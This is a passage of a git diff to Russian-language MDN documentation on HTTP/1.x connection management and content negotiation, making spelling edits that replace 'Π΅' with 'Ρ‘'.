+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ запросы <a href="/en/HTTP" title="en/HTTP">HTTP</a> ΠΈΠ΄ΡƒΡ‚ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ. Новый запрос выдаётся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ. Из-Π·Π° Π·Π°ΠΏΠ°Π·Π΄Ρ‹Π²Π°Π½ΠΈΠΉ Π² сСти ΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ Π½Π° ΠΏΡ€ΠΎΠΏΡƒΡΠΊΠ½ΡƒΡŽ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ это ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ сСрвСр <em>ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ </em>ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ запрос с сущСствСнной Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ.</p>
-<p>ΠšΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½Π°Ρ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° это процСсс отсылки ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… запросов ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ постоянному соСдинСнию Π½Π΅ доТидаясь ΠΎΡ‚Π²Π΅Ρ‚Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΈΠ·Π±Π΅Π³Π°ΡŽΡ‚ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ соСдинСния. ВСорСтичСски, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π° счСт ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠΈ Π΄Π²ΡƒΡ… запросов HTTP Π² ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ сообщСниС TCP. Π’ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a> (Maximum Segment Size - ΠœΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ сСгмСнта) достаточно Π²Π΅Π»ΠΈΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ нСсколько простых запросов, хотя трСбования Π½Π° объСм запросов HTTP ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡŽΡ‚ расти.</p>
+<p>ΠšΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½Π°Ρ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° это процСсс отсылки ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… запросов ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ постоянному соСдинСнию Π½Π΅ доТидаясь ΠΎΡ‚Π²Π΅Ρ‚Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΈΠ·Π±Π΅Π³Π°ΡŽΡ‚ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ соСдинСния. ВСорСтичСски, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π° счёт ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠΈ Π΄Π²ΡƒΡ… запросов HTTP Π² ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ сообщСниС TCP. Π’ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a> (Maximum Segment Size - ΠœΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ сСгмСнта) достаточно Π²Π΅Π»ΠΈΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ нСсколько простых запросов, хотя трСбования Π½Π° объСм запросов HTTP ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡŽΡ‚ расти.</p>
<p>НС всС Ρ‚ΠΈΠΏΡ‹ запросов HTTP ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ: Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ {{glossary("idempotent")}}, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} ΠΈ {{HTTPMethod("DELETE")}}, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ бСзопасно: Π² случаС сбоя содСрТимоС ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΌΠΎΠΆΠ½ΠΎ просто ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ.</p>
@@ -75,10 +75,10 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ соСдинСниС HTTP/1.x являСтся ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ запросами, Π΄Π°ΠΆΠ΅ Π±Π΅Π· упорядочивания, ΠΎΠ½ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π±Π΅Π· наличия достаточно большой пропускной способности. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ находят Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π² ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… соСдинСний ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ Π΄ΠΎΠΌΠ΅Π½Ρƒ с отсылкой ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Ρ‹Ρ… запросов. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это ΠΊΠΎΠ³Π΄Π°-Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ 2-3 соСдинСния, Π½ΠΎ сСйчас ΠΈΡ… число возросло ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Π΄ΠΎ 6 ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Ρ‹Ρ… соСдинСний. ΠŸΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ большСС количСство Π΅ΡΡ‚ΡŒ риск ΡΠΏΡ€ΠΎΠ²ΠΎΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Ρ‰ΠΈΡ‚Ρƒ ΠΎΡ‚ <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> со стороны сСрвСра.</p>
-<p>Если сСрвСр Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ быстрый ΠΎΡ‚Π²Π΅Ρ‚ ΠΎΡ‚ Π²Π΅Π±-сайта ΠΈΠ»ΠΈ прилоТСния, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ большС соСдинСний. НапримСр, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ всС рСсурсы Π½Π° ΠΎΠ΄Π½ΠΎΠΌ Π΄ΠΎΠΌΠ΅Π½Π΅, скаТСм, <code>www.example.com</code>, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΡ… ΠΏΠΎ нСскольким Π΄ΠΎΠΌΠ΅Π½Π°ΠΌ, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· этих Π΄ΠΎΠΌΠ΅Π½ΠΎΠ² Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ΡΡ Π½Π° Ρ‚ΠΎΠΌ ΠΆΠ΅ сСрвСрС, ΠΈ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚ 6 соСдинСний ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ (Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ число соСдинСний возрастСт Π΄ΠΎ 18). Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ (<em>domain sharding)</em>.</p>
+<p>Если сСрвСр Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ быстрый ΠΎΡ‚Π²Π΅Ρ‚ ΠΎΡ‚ Π²Π΅Π±-сайта ΠΈΠ»ΠΈ прилоТСния, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ большС соСдинСний. НапримСр, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ всС рСсурсы Π½Π° ΠΎΠ΄Π½ΠΎΠΌ Π΄ΠΎΠΌΠ΅Π½Π΅, скаТСм, <code>www.example.com</code>, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΡ… ΠΏΠΎ нСскольким Π΄ΠΎΠΌΠ΅Π½Π°ΠΌ, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· этих Π΄ΠΎΠΌΠ΅Π½ΠΎΠ² Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ΡΡ Π½Π° Ρ‚ΠΎΠΌ ΠΆΠ΅ сСрвСрС, ΠΈ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚ 6 соСдинСний ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ (Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ число соСдинСний возрастёт Π΄ΠΎ 18). Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ (<em>domain sharding)</em>.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p>
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Π£Π»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ соСдинСниями Π΄Π°Π΅Ρ‚ сущСствСнноС ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² HTTP. Π’ HTTP/1.1 ΠΈ HTTP/1.0 использованиС постоянного соСдинСния – ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ° ΠΎΠ½ΠΎ Π½Π΅ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π²Ρ…ΠΎΠ»ΠΎΡΡ‚ΡƒΡŽ – ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π»ΡƒΡ‡ΡˆΠ΅ΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Однако, ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ ΠΏΡ€ΠΈΠ²Π΅Π»ΠΈ ΠΊ созданию Π±ΠΎΠ»Π΅Π΅ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹Ρ… способов управлСния соСдинСниСм, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ Π² HTTP/2.</p>
+<p>Π£Π»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ соСдинСниями Π΄Π°Ρ‘Ρ‚ сущСствСнноС ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² HTTP. Π’ HTTP/1.1 ΠΈ HTTP/1.0 использованиС постоянного соСдинСния – ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ° ΠΎΠ½ΠΎ Π½Π΅ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π²Ρ…ΠΎΠ»ΠΎΡΡ‚ΡƒΡŽ – ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π»ΡƒΡ‡ΡˆΠ΅ΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Однако, ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ ΠΏΡ€ΠΈΠ²Π΅Π»ΠΈ ΠΊ созданию Π±ΠΎΠ»Π΅Π΅ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹Ρ… способов управлСния соСдинСниСм, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ Π² HTTP/2.</p>
diff --git a/files/ru/web/http/content_negotiation/index.html b/files/ru/web/http/content_negotiation/index.html
index 28d401e3ad..4c36d7e82b 100644
--- a/files/ru/web/http/content_negotiation/index.html
+++ b/files/ru/web/http/content_negotiation/index.html
@@ -11,14 +11,14 @@ translation_of: Web/HTTP/Content_negotiation
<h2 id="ΠŸΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹_согласования_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°">ΠŸΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ согласования ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</h2>
-<p>ΠšΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ называСтся <em>рСсурсом</em>. Когда ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Ρ…ΠΎΡ‡Π΅Ρ‚ Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, ΠΎΠ½ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π΅Π³ΠΎ URL. Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ этот URL, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² - ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚, называСтся <em>прСдставлСниСм</em>, – ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ этот Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ. РСсурс Π² ΠΎΠ±Ρ‰Π΅ΠΌ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΈΠ· прСдставлСний, ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ URL. Π’Ρ‹Π±ΠΎΡ€ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ прСдставлСния ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ рСсурса опрСдСляСтся ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠΌ <em>согласования ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</em> ΠΈ сущСствуСт нСсколько способов согласования ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром.</p>
+<p>ΠšΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ называСтся <em>рСсурсом</em>. Когда ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Ρ…ΠΎΡ‡Π΅Ρ‚ Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, ΠΎΠ½ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π΅Π³ΠΎ URL. Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ этот URL, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² - ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚, называСтся <em>прСдставлСниСм</em>, – ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ этот Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ. РСсурс Π² ΠΎΠ±Ρ‰Π΅ΠΌ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΈΠ· прСдставлСний, ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ URL. Π’Ρ‹Π±ΠΎΡ€ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ прСдставлСния ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ рСсурса опрСдСляСтся ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠΌ <em>согласования ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</em> ΠΈ сущСствуСт нСсколько способов согласования ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/16156/HTTPNego_ru.png" style="height: 311px; width: 767px;"></p>
<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящСго прСдставлСния производится с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π΄Π²ΡƒΡ… ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠ²:</p>
<ul>
- <li>ΠšΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ <a href="/en-US/docs/Web/HTTP/Headers">HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ </a> ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° (<em>согласованиС Π½Π° основС сСрвСра </em> ΠΈΠ»ΠΈ <em>ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°ΡŽΡ‰Π΅Π΅ согласованиС</em>), Ρ‡Ρ‚ΠΎ являСтся стандартным способом согласования ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π²ΠΈΠ΄Π° рСсурса.</li>
+ <li>ΠšΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ <a href="/en-US/docs/Web/HTTP/Headers">HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ </a> ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° (<em>согласованиС Π½Π° основС сСрвСра </em> ΠΈΠ»ΠΈ <em>ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°ΡŽΡ‰Π΅Π΅ согласованиС</em>), Ρ‡Ρ‚ΠΎ являСтся стандартным способом согласования ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π²ΠΈΠ΄Π° рСсурса.</li>
<li><a href="/en-US/docs/Web/HTTP/Status">HTTP ΠΊΠΎΠ΄Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚Π°</a> {{HTTPStatus("300")}} (Multiple Choices) ΠΈΠ»ΠΈ {{HTTPStatus("406")}} (Not Acceptable) (<em>согласованиС Π½Π° основС Π°Π³Π΅Π½Ρ‚Π°</em> ΠΈΠ»ΠΈ <em>Ρ€Π΅Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ согласованиС</em>), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π² качСствС Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹Ρ… ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠ².</li>
</ul>
@@ -37,16 +37,16 @@ translation_of: Web/HTTP/Content_negotiation
<p>БогласованиС Π½Π° сторонС сСрвСра являСтся самым популярным способом согласования ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π½ΠΎ Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ нСсколько нСдостатков:</p>
<ul>
- <li>Π£ сСрвСра Π½Π΅Ρ‚ всСй ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ клиСнтском ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ. Π”Π°ΠΆΠ΅ с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ Client Hints сСрвСр Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π½Π°Ρ‚ΡŒ всСх возмоТностСй Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Ρ€Π΅Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ согласования, Π³Π΄Π΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΡΠΎΠ²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Π²Ρ‹Π±ΠΎΡ€, Π²Ρ‹Π±ΠΎΡ€ сСрвСра всСгда остаСтся Π² ΠΊΠ°ΠΊΠΎΠΌ-Ρ‚ΠΎ смыслС ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΌ.</li>
+ <li>Π£ сСрвСра Π½Π΅Ρ‚ всСй ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ клиСнтском ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ. Π”Π°ΠΆΠ΅ с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ Client Hints сСрвСр Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π½Π°Ρ‚ΡŒ всСх возмоТностСй Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Ρ€Π΅Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ согласования, Π³Π΄Π΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΡΠΎΠ²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Π²Ρ‹Π±ΠΎΡ€, Π²Ρ‹Π±ΠΎΡ€ сСрвСра всСгда остаётся Π² ΠΊΠ°ΠΊΠΎΠΌ-Ρ‚ΠΎ смыслС ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΌ.</li>
